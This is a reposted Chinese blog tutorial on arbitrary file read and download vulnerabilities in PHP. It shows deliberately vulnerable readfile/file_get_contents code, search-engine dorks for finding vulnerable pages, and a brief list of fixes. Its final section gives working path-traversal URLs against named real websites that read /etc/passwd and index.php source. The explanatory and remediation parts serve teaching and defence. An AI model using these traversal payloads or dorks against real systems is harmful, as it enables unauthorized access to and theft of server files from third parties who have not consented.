任意文件读取与下载

0x01 文件读取

    文件读取在PHP这种可以有很多种方式实现,在web的默认情况下,$filename变量可能用户可控

1
2
3
4
5
6
<?php
$filename  $_GET [ 'f' ];
echo  file_get_contents ( $filename );
?>
#当变量  $filename  没有经过校验,或者校验不严格,用户可以控制这个变量读取任意文件,例如
/etc/passwd、/config.ini 等文件

0x02 实现文件下载的两种方式

    1.直接下载:

1
< a  href = "http://www.xxx.com/xxx.rar" ></ a >

    2.增加header头

1
2
3
4
5
6
7
<?php
$filename  $_GET [ 'f' ];
header( 'Content-Type:image/gif' );
header( 'Content-Disposition:attachment;filename=' . $filename );
header( 'Content-Length:' . filesize ( $filename ));
readfile( $filename );
?>

    当$filename没有经过校验,或者校验不合格,用户可以控制这个变量下载任意文件,比如/etc/passwd,./index.php、等等就造成了任意文件下载漏洞。


0x03 成因

    都有读取文件的函数

    读物文件的路径用户可控,且没有经过校验,或者校验不严格

    都输出文件内容


0x04 Google Serch

1
2
inurl: "readfile.php?file="
inurl: "download.php?file="


0x05 修复方案

    过滤<.>(点)

    正则判断用户输入的参数格式,匹配输入的格式是否合格

    php.ini配置open_basedir


0x06 实例漏洞利用

(仅供测试,请勿随意破坏)

地址:

1
url:http: //hypnet.org.uk/shared/readfile.php?file=mental_health_audit_2014_06_15_130552.ppt

漏洞利用:

1
http: //hypnet.org.uk/shared/readfile.php?file=../../../../../../../../../../etc/passwd

地址:

1
url:http: //storiedifarina.it/readfile.php?file=pdf/storiedifarina.pdf

漏洞利用

1
http: //www.wodehouse.se/upload/readfile.php?file=../index.php




本文转自 nw01f 51CTO博客,原文链接:http://blog.51cto.com/dearch/1836973,如需转载请自行联系原作者
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值